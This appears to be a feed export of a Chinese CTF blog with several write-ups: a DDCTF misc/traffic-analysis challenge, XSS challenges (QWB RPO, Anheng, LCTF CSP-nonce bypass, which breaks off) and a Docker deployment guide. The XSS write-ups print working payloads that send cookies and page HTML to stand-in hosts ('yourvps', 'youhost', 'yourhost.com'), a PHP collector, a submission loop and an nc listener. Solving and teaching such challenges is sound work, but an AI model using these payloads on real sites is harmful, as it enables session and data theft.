alt="mark"></p><p>一般来说，图片信息中不会出现备注的。所以尝试将其作为密码解压，解压成功。</p><p>然后发现了一串稀奇古怪的。。。。字符。</p><p><img src="https://img.5am3.com/img/180415/IejD01mAdG.png" alt="mark"></p><p>此时想到了题目中给的hint：<code>日常违规审计中频次有时候非常重要</code></p><p>尝试词频统计。得到flag</p><p><img src="https://img.5am3.com/img/180415/c5Bbi3bc9i.png" alt="mark"></p><p>此时有一点小小坑。。D是两个。。</p><p>flag ：DDCTF{x1n9shaNgbIci}</p><h3 id="misc4-流量分析-200pt"><a href="#misc4-流量分析-200pt" class="headerlink" title="misc4 流量分析 (200pt)"></a>misc4 流量分析 (200pt)</h3><blockquote><p>提示一：若感觉在中间某个容易出错的步骤，若有需要检验是否正确时，可以比较MD5: 90c490781f9c320cd1ba671fcb112d1c<br>提示二：注意补齐私钥格式<br>—–BEGIN RSA PRIVATE KEY—–<br>XXXXXXX<br>—–END RSA PRIVATE KEY—–</p></blockquote><p>怎么说呢，做完这题，我才知道坑人能有多坑！</p><p>流量分析的题，首先可以发现他的大小很小。不像是那种大流量的分析。</p><p>尝试了一下学长之前推荐的一款工具《科来网络分析系统》</p><p><img src="https://img.5am3.com/img/180420/a5gJ6kKHdE.png" alt="mark"></p><p>可以发现ftp传输了两个包。此时，fl-g极有可能是flag。</p><p>于是拿wireshark千辛万苦，提取出来压缩包。然而….没有密码。</p><p>只好继续分析了。因为毕竟misc4了，不可能是密码爆破啥的吧。</p><p>继续看， 发现一个邮件（不知道科来怎么提文件，查看数据。哭唧唧）</p><p>wireshark导出IMF对象。可以发现导出了几个邮件。然后逐个分析。</p><p>然而并没卵用，唯一有点用的，感觉奇怪的，就只有一个邮件。</p><p><img src="https://img.5am3.com/img/180420/b5AFL2bKKH.png" alt="mark"></p><p>此时这个不是一点的奇怪！而是很奇怪！那么，这串密钥。。是干什么的呢。</p><p>经过老司机多年开车经验，呸。做题经验。</p><p>猜测！肯定有https流量。当然，科来也说有了。</p><p><img src="https://img.5am3.com/img/180420/K6H9B5H4d8.png" alt="mark"></p><p>于是。。这种之前曾听说过的题目，现在到了手里还是有些小激动的。</p><p>尤其是那个图片！图片！图片！！！！</p><p>ocr也不行，手写也不行。那么多字。心塞ing。</p><p>好吧，最后还是百度找了个ocr识别了一下，然后改了几个字符。。</p><p>然后就是解密https流量。具体可以看这个链接。</p><p><a href="https://blog.csdn.net/kelsel/article/details/52758192">https://blog.csdn.net/kelsel/article/details/52758192</a></p><p>直接导入私钥就可以。这里需要按照hint格式来，在前后加上标志位。</p><p>然后就可以解密https流量了。</p><p>然后搜索ssl，追踪http流量，最后取得flag</p><p><img src="https://img.5am3.com/img/180420/8dmC106gg8.png" alt="mark"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;第二次参加滴滴的比赛，第一次是刚接触CTF不久。身为一个web狗，做出两道逆向题。&lt;/p&gt;
&lt;p&gt;这是第二次，总的来说，题目对新人还是蛮友好的，而且还能学到很多东西。&lt;/p&gt;
&lt;p&gt;时间方面，也还不错。体验到了肛题的快感。这次…蛮可惜的。差一点就ak了web题。&lt;/p&gt;
&lt;p&gt;还好时间不够了。否则后面那道java一定会折磨我许久。&lt;/p&gt;
&lt;p&gt;最后，赞一下各位出题师傅，题目很喜欢！&lt;/p&gt;
&lt;p&gt;还有安姐姐也辛苦了。这一周，看到安姐姐基本上天天通宵。&lt;/p&gt;</summary>
    
    
    
    <category term="信息安全" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
    
    <category term="writeup" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/writeup/"/>
    
    
    <category term="writeup" scheme="https://blog.5am3.com/tags/writeup/"/>
    
    <category term="web" scheme="https://blog.5am3.com/tags/web/"/>
    
    <category term="misc" scheme="https://blog.5am3.com/tags/misc/"/>
    
  </entry>
  
  <entry>
    <title>强网杯-Share your mind</title>
    <link href="https://blog.5am3.com/2018/03/26/qwb-xss-rpo/"/>
    <id>https://blog.5am3.com/2018/03/26/qwb-xss-rpo/</id>
    <published>2018-03-26T14:20:06.000Z</published>
    <updated>2024-12-05T02:39:41.684Z</updated>
    
    <content type="html"><![CDATA[<p>这周末看了一下神仙们打架，感触颇深，自己还是太菜了！<br>继续放一个xss的wp吧。感觉也就这块可以搞明白点。<br>心疼自己。</p><h3 id="分析题目"><a href="#分析题目" class="headerlink" title="分析题目"></a>分析题目</h3><p>拿到题目后，首先先分析一下题目，发现有注册和登录，尝试登录成功后，发现如下几个页面</p><span id="more"></span><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="title class_">Overview</span> <span class="comment">// 显示当前自己所有发帖</span></span><br><span class="line"><span class="title class_">Write</span> article <span class="comment">// 发帖</span></span><br><span class="line"><span class="title class_">Reports</span> <span class="comment">// 向网站管理员反馈（只能填写问题所在的url）</span></span><br><span class="line"><span class="title class_">Export</span> <span class="comment">// 暂时没有</span></span><br><span class="line"><span class="title class_">About</span> <span class="comment">// 简单的一个介绍页面</span></span><br></pre></td></tr></table></figure><p>分析后感觉该题为XSS，因为存在Reports页面，且发送时含有验证码。</p><p>尝试发帖，发现发出后，可以创建一个空白页面来放置你所发的帖子。</p><p><img src="https://img.5am3.com/img/180324/3ihEicgHIL.png" alt="mark"></p><p>可以发现，此时对敏感字符进行了一些转义。并且标题处含有h1标签。</p><p>尝试空标题发帖时，发现可以没有h1标签。</p><p>此时，我们有了一个很好的条件，如果该网站存在csp，即可通过在这里写入恶意代码，来造成xss。</p><h3 id="尝试攻击"><a href="#尝试攻击" class="headerlink" title="尝试攻击"></a>尝试攻击</h3><p>首先尝试在report页面发送XSSpayload，最终发现以下payload可用</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://39.107.33.96:20000?sda<span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">yourjs</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>尝试获取cookie，成功获取到以下信息。</p><p><img src="https://img.5am3.com/img/180324/E74ALKFg5K.png" alt="mark"></p><p>即：</p><ul><li>存在v1ewth3report.php页面</li><li>当前页面cookie设有httponly。</li></ul><p>然后尝试打其他的一些js，拖源码等。发现很迷！真的很迷！！基本都没法用。但是这个却是确确实实打回来了。</p><p>在确认脚本无误后，认真反思后，感觉自己方法错误。原因如下：</p><ol><li>未有效利用到其他页面。</li><li>强网杯的题不可能这么简单。</li><li>难道有跨域之类的问题（这个一直很迷，自己感觉应该不会的，毕竟都成功一次了）</li></ol><h3 id="继续尝试"><a href="#继续尝试" class="headerlink" title="继续尝试"></a>继续尝试</h3><p>然后继续尝试，想办法用到文章页。即将代码写入该页。</p><p>因为有对特殊字符的转义，所以需要我们进行绕过一下。</p><p>此时采用<code>fromCharCode</code>来进行绕过。脚本如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">str1=<span class="string">&#x27;youjscode&#x27;</span></span><br><span class="line">payload=<span class="string">&#x27;eval(String.fromCharCode(&#x27;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(str1)):</span><br><span class="line">payload+=<span class="built_in">str</span>(<span class="built_in">ord</span>(str1[i]))</span><br><span class="line"><span class="keyword">if</span>(i+<span class="number">1</span>&lt;<span class="built_in">len</span>(str1)):</span><br><span class="line">payload+=<span class="string">&#x27;,&#x27;</span></span><br><span class="line"></span><br><span class="line">payload+=<span class="string">&#x27;));&#x27;</span></span><br><span class="line"><span class="built_in">print</span>(payload)</span><br></pre></td></tr></table></figure><p>生成payload后，可以直接发帖，然后记录下网址。</p><p>再次尝试刚刚的payload。</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://39.107.33.96:20000?sda<span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&#x27;http://39.107.33.96:20000/index.php/view/article/1234&#x27;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>此时报错，提示<code>You can only submit my site&#39;s url</code>，于是感觉有戏，可能是他后台的一些匹配导致的。想办法绕过即可。</p><p>尝试了ip的10进制，域名解析等。</p><p>冥思苦想之后，突然发现，自己是傻了么？</p><p>本来就是为了绕过同源，现在搞得又回去了。本来就是一个网站，直接用相对路径不就可以了么？</p><p>于是构造以下payload。</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://39.107.33.96:20000?sda<span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&#x27;./index.php/view/article/1234&#x27;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>然后成功绕过，正当自己开心之时，等待回显的到来。等啊等，等啊等。依旧没反应。。。</p><p>难道又错了么？</p><p>此时的自己处于一种懵逼状态，唉，还是太年轻！太弱了。对前端了解还是太浅。搞不明白啊！</p><p>于是默默去洗了个澡。回来继续肛。</p><h3 id="不服！继续！！"><a href="#不服！继续！！" class="headerlink" title="不服！继续！！"></a>不服！继续！！</h3><p>是在没有思路了。只好去默默查资料，看一下xss的各种姿势。</p><p>而且感觉这题也不像绕csp的，毕竟用户端连个csp都没有，怎么可能管理端再加上。</p><p>搜索后发现RPO攻击貌似符合当前情景。</p><p><a href="http://blog.nsfocus.net/rpo-attack/">【技术分析】RPO攻击技术浅析</a></p><p><strong>尝试在文章页后添加字符，发现依旧返回文章页。</strong>此时开心的笑了。</p><p>然后跟着文章进行复现，最终构造payload如下，即可成功打过去！</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://39.107.33.96:20000/index.php/view/article/20530/..%2F..%2F..%2F..%2Findex.php</span><br></pre></td></tr></table></figure><p>在这里我简单说一下漏洞原因，具体分析大家可以看一下rpo攻击的介绍。</p><p>此漏洞利用服务器与前端浏览器的解析不同，从而造成相对资源的引用错误。</p><blockquote><p>服务器端：将..&#x2F;解析为上一级目录，进行退回，造成渲染页面为 <a href="http://39.107.33.96:20000/index.php">http://39.107.33.96:20000/index.php</a></p></blockquote><blockquote><p>客户端浏览器： 将..%2F..%2F..%2F..%2F..%2Findex.php解析为一个文件，此时没有执行退目录的操作<br>所以导致相对资源引入时。<br>认为<a href="http://39.107.33.96:20000/index.php/view/article/20530/%E4%B8%BA%E8%AF%A5%E7%9B%AE%E5%BD%95%EF%BC%8C%E7%84%B6%E5%90%8E%E8%BF%9B%E8%A1%8C%E5%BC%95%E5%85%A5%E3%80%82">http://39.107.33.96:20000/index.php/view/article/20530/为该目录，然后进行引入。</a><br>然后由于路由解析的原因，造成引入未见为恶意代码。</p></blockquote><p><img src="https://img.5am3.com/img/180326/0ijg516dE1.png" alt="mark"></p><p>此时由于该页面引入了js，即造成了rpo漏洞的实现。</p><p>然后就可以开心的通过js玩耍了。</p><p>最终尝试通过读源码无果（get方式有限制长度，且payload 有限制长度）。</p><p>于是又一次开始打cookie。发现hint如下</p><p><img src="https://img.5am3.com/img/180324/0IH1b15mJ4.png" alt="mark"></p><p><code>HINT=Try to get the cookie of path &quot;/QWB_fl4g/QWB/&quot;</code></p><p>到这里就简单了，因为已经提示在这个目录下的cookie里有flag</p><p>然后构造js脚本如下，</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> ad = <span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">&quot;iframe&quot;</span>);</span><br><span class="line">ad.<span class="property">src</span> = <span class="string">&quot;../../../../../QWB_fl4g/QWB/&quot;</span>;</span><br><span class="line">ad.<span class="property">id</span> = <span class="string">&quot;frame&quot;</span>;</span><br><span class="line"><span class="variable language_">document</span>.<span class="property">body</span>.<span class="title function_">appendChild</span>(ad);</span><br><span class="line">ad.<span class="property">onload</span> = <span class="keyword">function</span> (<span class="params"></span>)&#123;<span class="variable language_">window</span>.<span class="property">location</span>.<span class="property">href</span>=<span class="string">&quot;http://yourvps/?a=&quot;</span>+<span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&quot;frame&quot;</span>).<span class="property">contentWindow</span>.<span class="property">document</span>.<span class="property">cookie</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后打过去，即可获取到flag。</p><p><img src="https://img.5am3.com/img/180324/GJk8792aJi.png" alt="mark"></p><h3 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h3><ul><li><a href="http://blog.nsfocus.net/rpo-attack/">【技术分析】RPO攻击技术浅析</a></li><li><a href="http://blog.5am3.com/2018/02/25/anheng-2-xss/">2018安恒杯二月赛-web-应该不是 XSS</a></li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;这周末看了一下神仙们打架，感触颇深，自己还是太菜了！&lt;br&gt;继续放一个xss的wp吧。感觉也就这块可以搞明白点。&lt;br&gt;心疼自己。&lt;/p&gt;
&lt;h3 id=&quot;分析题目&quot;&gt;&lt;a href=&quot;#分析题目&quot; class=&quot;headerlink&quot; title=&quot;分析题目&quot;&gt;&lt;/a&gt;分析题目&lt;/h3&gt;&lt;p&gt;拿到题目后，首先先分析一下题目，发现有注册和登录，尝试登录成功后，发现如下几个页面&lt;/p&gt;</summary>
    
    
    
    <category term="信息安全" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
    
    <category term="writeup" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/writeup/"/>
    
    
    <category term="xss" scheme="https://blog.5am3.com/tags/xss/"/>
    
    <category term="writeup" scheme="https://blog.5am3.com/tags/writeup/"/>
    
    <category term="web" scheme="https://blog.5am3.com/tags/web/"/>
    
  </entry>
  
  <entry>
    <title>2018安恒杯二月赛-web-应该不是 XSS</title>
    <link href="https://blog.5am3.com/2018/02/25/anheng-2-xss/"/>
    <id>https://blog.5am3.com/2018/02/25/anheng-2-xss/</id>
    <published>2018-02-25T09:38:58.000Z</published>
    <updated>2024-12-05T02:39:41.684Z</updated>
    
    <content type="html"><![CDATA[<h2 id="0x01-初步分析阶段"><a href="#0x01-初步分析阶段" class="headerlink" title="0x01 初步分析阶段"></a>0x01 初步分析阶段</h2><p>首先拿到题目，看到留言板，第一反应就是XSS。</p><p>但是看过题目提示后，有些不确定。</p><p>所以开始分析整道题目。</p><span id="more"></span><p>首先，观察network页面，查看主页面的响应。</p><p>发现是通过js进行子页面的渲染。类似于iframe。</p><p>一共有四个js文件，前两个明显是jQuery的库文件，不用管它，开始分析<a href="https://img.5am3.com/main.js">main.js</a>与<a href="https://img.5am3.com/app.js">app.js</a></p><p><img src="https://img.5am3.com/img/180225/jA3j6K7Lm3.png" alt="mark"></p><p><a href="https://img.5am3.com/main.js">main.js</a>很明显是渲染页面代码。</p><p><img src="https://img.5am3.com/img/180225/lDLL3d8HJd.png" alt="mark"></p><p>通过代码可以发现，当我们构造<code>http://192.168.5.28/#login</code></p><p>即可访问其他页面。大家常见的应该是通过php后端渲染这些，通过include去实现在当前模板下渲染页面。此时是通过前端渲染的。</p><p>在第七行可以看到一共有4个页面，即有以下页面</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.5.28/#login</span><br><span class="line">http://192.168.5.28/#feedback</span><br><span class="line">http://192.168.5.28/#main</span><br><span class="line">http://192.168.5.28/#chgpass</span><br></pre></td></tr></table></figure><p>然后再进行<a href="https://img.5am3.com/app.js">app.js</a>的分析</p><p>可以明显看出是一个功能的控制，可以分析出有以下功能</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">登录：&#x27;./api.php?action=login&amp;&#x27; + Math.random()</span><br><span class="line">发送留言： &#x27;./api.php?action=savepost&amp;&#x27; + Math.random()</span><br><span class="line">修改密码：&#x27;./api.php?action=chgpass&amp;&#x27; + Math.random()</span><br><span class="line">获取所有留言：&#x27;./api.php?action=getpost&amp;&#x27; + Math.random()</span><br></pre></td></tr></table></figure><h2 id="0x02-进一步分析（XSS"><a href="#0x02-进一步分析（XSS" class="headerlink" title="0x02 进一步分析（XSS)"></a>0x02 进一步分析（XSS)</h2><p>首先，依次访问以上页面，发现chgpass和main是需要登陆后才能访问。</p><p>而且main页面下有flag{}字样。</p><p>所以判断出，<strong>题目要求你以管理员身份登录后，获取到main页面下的flag。</strong></p><p><img src="https://img.5am3.com/img/180225/E4kAAdfkcD.png" alt="mark"></p><p>在登录页面尝试弱口令登录后，无果。于是又把思路转向了xss。</p><p>想着可不可以拿到管理员cookie。经过尝试后，发现他做了一些xss的防范</p><blockquote><p>1.将script标签中间强行加入空格</p><p>2.在&lt;与s之间强行加入空格</p><p>3.标题处有转义，无法xss</p><p>4.限制字符长度300</p></blockquote><p>于是构造payload如下</p><p><code>&lt;img src=&#39;1&#39; onerror=&quot;window.location.href=&#39;http://youhost/?&#39;+document.cookie&quot;;&gt;</code></p><p>本地测试成功，然后发送，发现获取cookie为空，即服务器端可能做了<a href="https://www.cnblogs.com/zlhff/p/5477943.html">HttpOnly</a>的限制。</p><p>所以此方法失败！！</p><p>然后尝试其他思路，想到了国赛的一道题目guestbook，已经xman排位赛的xss2。</p><p>通过构造js，来让管理员直接访问main页面，然后将其源码拖下来。</p><p><strong>首先通过js引入一个iframe，来访问main页面，然后通过js拿到iframe的源码，发送回来。</strong></p><p>此时遇到了一个问题，即iframe加载不完全，所以自己又添加了一个定时器。</p><p>最终代码如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">var iframe = document.createElement(&quot;iframe&quot;);</span><br><span class="line"> iframe.src = &quot;./#main&quot;;</span><br><span class="line"> document.body.appendChild(iframe);</span><br><span class="line"> iframe.onload = setInterval(function ()&#123; </span><br><span class="line"> var c = encodeURI(document.getElementsByTagName(&quot;iframe&quot;)[0].contentWindow.document.getElementsByTagName(&quot;body&quot;)[0].innerHTML);</span><br><span class="line">  var n0t = document.createElement(&quot;link&quot;);</span><br><span class="line"> n0t.setAttribute(&quot;rel&quot;, &quot;prefetch&quot;);</span><br><span class="line"> n0t.setAttribute(&quot;href&quot;, &quot;//yourhost/?a=&quot; + c);</span><br><span class="line"> document.head.appendChild(n0t);</span><br><span class="line"> &#125;,1000)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>由于代码超过了可以发送文本的长度，所以想办法采用其他方式，如外部引入js。</p><p>引入这里，自己采用的是在xss平台上面学到的一句话</p><p><code>&lt;img src=x onerror=&quot;s=createElement(&#39;script&#39;);body.appendChild(s);s.src=&#39;你的js地址&#39;;&quot;&gt;</code></p><p>此时由于存在script，所以得绕过一下，自己采用的是大小写绕过。将其改为下面代码即可。</p><p><code>&lt;img src=x onerror=&quot;s=createElement(&#39;Script&#39;);body.appendChild(s);s.src=&#39;你的js地址&#39;;&quot;&gt;</code></p><p>然后进行多次提交。即可收到打回来的代码。</p><p><img src="https://img.5am3.com/img/180225/2031km43gh.png" alt="mark"></p><p>最后进行url解码后即可拿到flag</p><h2 id="0x03-总结"><a href="#0x03-总结" class="headerlink" title="0x03 总结"></a>0x03 总结</h2><p>题目还是蛮有意思的，主办方给的hint是csrf。</p><p>自己想了想，完全可以打源码，拿到管理员token后，然后通过构造csrf去修改管理员密码，然后登陆。</p><p>貌似自己的是非预期解法，毕竟登陆页面和修改密码页面都没有用到，而且自己这个也不算csrf。</p><p>成功的用xss再次解出一道题。</p><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li><a href="https://www.cnblogs.com/zlhff/p/5477943.html">HttpOnly</a></li><li><a href="https://www.xctf.org.cn/library/details/eea49ee57a63f91de4ae9fa58b45f4aec9858dd5/">XMAN排位赛xss题解</a></li><li><a href="https://bbs.ichunqiu.com/thread-25351-1-1.html">国赛writeup链接</a>-guestbook</li><li><a href="https://img.5am3.com/app.js">app.js</a></li><li><a href="https://img.5am3.com/main.js">main.js</a></li><li><a href="http://webxss.top/">XSS平台</a></li></ul>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;0x01-初步分析阶段&quot;&gt;&lt;a href=&quot;#0x01-初步分析阶段&quot; class=&quot;headerlink&quot; title=&quot;0x01 初步分析阶段&quot;&gt;&lt;/a&gt;0x01 初步分析阶段&lt;/h2&gt;&lt;p&gt;首先拿到题目，看到留言板，第一反应就是XSS。&lt;/p&gt;
&lt;p&gt;但是看过题目提示后，有些不确定。&lt;/p&gt;
&lt;p&gt;所以开始分析整道题目。&lt;/p&gt;</summary>
    
    
    
    <category term="信息安全" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
    
    <category term="writeup" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/writeup/"/>
    
    
    <category term="xss" scheme="https://blog.5am3.com/tags/xss/"/>
    
    <category term="writeup" scheme="https://blog.5am3.com/tags/writeup/"/>
    
  </entry>
  
  <entry>
    <title>通过docker部署ctf题目</title>
    <link href="https://blog.5am3.com/2017/12/08/SCodeCTF/"/>
    <id>https://blog.5am3.com/2017/12/08/SCodeCTF/</id>
    <published>2017-12-08T03:32:13.000Z</published>
    <updated>2024-12-05T02:39:41.684Z</updated>
    
    <content type="html"><![CDATA[<p>最近社团要开始新一轮纳新。<br>出题的责任便落到了自己身上。<br>经过和各位大佬们深入交流，最终了解到要用docker部署。<br>自己的理解是，docker有点像一个轻量级的虚拟机。<br>这样就方便了主机不被黑。以及可以快速回滚，并且不用占用太多资源。简直是神器。</p><span id="more"></span><h2 id="0x01-安装docker"><a href="#0x01-安装docker" class="headerlink" title="0x01 安装docker"></a>0x01 安装docker</h2><blockquote><p><strong>初始环境</strong><br>阿里云9.9元学生机<br>Ubuntu 16.04 64位</p></blockquote><p>首先使用apt安装docker</p><p><code>apt install docker.io</code></p><p>然后执行<code>docker</code>，查看一下是否安装成功。<br><img src="https://img.5am3.com/5am3/img/20191214145925.png"></p><p>接下来就可以部署镜像了。</p><h2 id="0x02-部署镜像"><a href="#0x02-部署镜像" class="headerlink" title="0x02 部署镜像"></a>0x02 部署镜像</h2><p>找一个适合自己的镜像。<br><a href="https://dev.aliyun.com/search.html">阿里镜像中心</a></p><p>由于自己要部署web题，所以自己选择了一个apache-php5<br><img src="https://img.5am3.com/5am3/img/20191214145931.png"></p><p><code>docker pull registry.cn-hangzhou.aliyuncs.com/lxepoo/apache-php5</code></p><p>然后运行镜像，并绑定一下端口。</p><p><code>docker run -d -p 2027:80 registry.cn-hangzhou.aliyuncs.com/lxepoo/apache-php5</code></p><p><img src="https://img.5am3.com/5am3/img/20191214145939.png"></p><p>此时会返回一个值，表示该运行docker的id。以后如果想访问这个容器，需要通过该id。</p><p>然后将本地题目文件拷贝到docker，使用docker的cp命令即可。<br>在id前几位没有重复的情况下，可以取前几位。<br><code>docker cp ./test e664955e:/var/www/</code></p><p>因为该镜像已经将环境集成好，所以此时就不用管他了。</p><p>直接 可以进行<code>curl 127.0.0.1:2017 </code>测试一下是否部署成功</p><h2 id="0x03-访问docker容器"><a href="#0x03-访问docker容器" class="headerlink" title="0x03 访问docker容器"></a>0x03 访问docker容器</h2><p>最后，写一下如何进入docker容器内部.</p><p><code>docker exec -it e664955e bash</code></p><blockquote><p>-d :分离模式: 在后台运行<br>-i :即使没有附加也保持STDIN 打开<br>-t :分配一个伪终端</p></blockquote><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ol><li><a href="http://www.runoob.com/docker/docker-command-manual.html">菜鸟教程-Docker 命令大全</a></li><li><a href="http://blog.csdn.net/qq_28602957/article/details/53727865">【docker】使用docker快速搭建nginx+php开发环境</a></li><li><a href="https://www.imooc.com/learn/867">IMOOC-Docker入门</a></li><li><a href="https://www.imooc.com/learn/824">第一个docker化的java应用</a></li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;最近社团要开始新一轮纳新。&lt;br&gt;出题的责任便落到了自己身上。&lt;br&gt;经过和各位大佬们深入交流，最终了解到要用docker部署。&lt;br&gt;自己的理解是，docker有点像一个轻量级的虚拟机。&lt;br&gt;这样就方便了主机不被黑。以及可以快速回滚，并且不用占用太多资源。简直是神器。&lt;/p&gt;</summary>
    
    
    
    <category term="WEB" scheme="https://blog.5am3.com/categories/WEB/"/>
    
    <category term="docker" scheme="https://blog.5am3.com/categories/WEB/docker/"/>
    
    
    <category term="docker" scheme="https://blog.5am3.com/tags/docker/"/>
    
    <category term="ctf" scheme="https://blog.5am3.com/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>2017LCTF wanna hack him? writeup</title>
    <link href="https://blog.5am3.com/2017/11/20/2017LCTF-1/"/>
    <id>https://blog.5am3.com/2017/11/20/2017LCTF-1/</id>
    <published>2017-11-20T07:06:07.000Z</published>
    <updated>2024-12-05T02:39:41.680Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>题目<br>wanna hack him?<br>管理员使用了看似完美的安全配置.. 但是…<br><a href="http://211.159.146.223/">http://211.159.146.223/</a></p></blockquote><hr><p><strong>注：以下出现的yourhost.com均为你自己的域名或者ip。自行准备外网ip或vps</strong></p><span id="more"></span><h2 id="0x01-初见"><a href="#0x01-初见" class="headerlink" title="0x01 初见"></a>0x01 初见</h2><p>打开后，会发现一个页面，根据经验。可以判断出来这是个xss题目。<br>preview可以检验你的payload。<br>点开后会发现有csp，指定lnonce。<br>之前本地测试时，以为nonce不变，获取到服务器端的nonce就可以用。<br>没想到服务器端的nonce是会变的。<br>然后分析题目，如何绕过nonce，发现基本不可能，无法构造语句来使用他那里的nonce。<br>所以只能想到，假设nonce有生效时长，那么可以获取到nonce后，在提交xss的带有获取到nonce的payload。从而实现xss、</p><h2 id="0x02-获取nonce"><a href="#0x02-获取nonce" class="headerlink" title="0x02 获取nonce"></a>0x02 获取nonce</h2><p>可以通过不闭合标签，来拿到后面的信息。例如<br><code>&lt;img src=&#39;http://yourhost.com/?key=</code></p><p>然后我是直接将nonce发送到自己预先在服务器中写好的PHP页面，由它保存为txt。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">if($_GET&amp;&amp;$_GET[&#x27;key&#x27;])&#123;</span><br><span class="line">    $myfile = fopen(&quot;ctf.txt&quot;, &quot;a+&quot;) or die(&quot;Unable to open file!&quot;);</span><br><span class="line">    $txt = $_GET[&#x27;key&#x27;].&quot;\r\n&quot;;</span><br><span class="line">    fwrite($myfile, $txt);</span><br><span class="line">    fclose($myfile);</span><br><span class="line">&#125;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>然后可以搭配脚本提交。也可以自己手动提交payload。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">import requests</span><br><span class="line">import time</span><br><span class="line">def sendNonce():</span><br><span class="line">    url=&#x27;http://211.159.146.223/submit.php&#x27;;</span><br><span class="line">    data=&#123;&#x27;content&#x27;:&quot;&lt;img src=&#x27;http://yourhost.com/?key=&quot;;&#125;</span><br><span class="line">    r=requests.post(url,data=data)</span><br><span class="line">    print(r.text)</span><br><span class="line">while(1):</span><br><span class="line">    time.sleep(5)</span><br><span class="line">    sendNonce()</span><br></pre></td></tr></table></figure><h2 id="0x03-发送payload"><a href="#0x03-发送payload" class="headerlink" title="0x03 发送payload"></a>0x03 发送payload</h2><p>脚本如下，发送payload。<br>逻辑为：拿到nonce-&gt;取出nonce-&gt;发送带有nonce的xsspayload。<br><code>while(true); do nc -lnvp 2017; done</code><br>然后手动监听2017端口，等待flag过来。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span 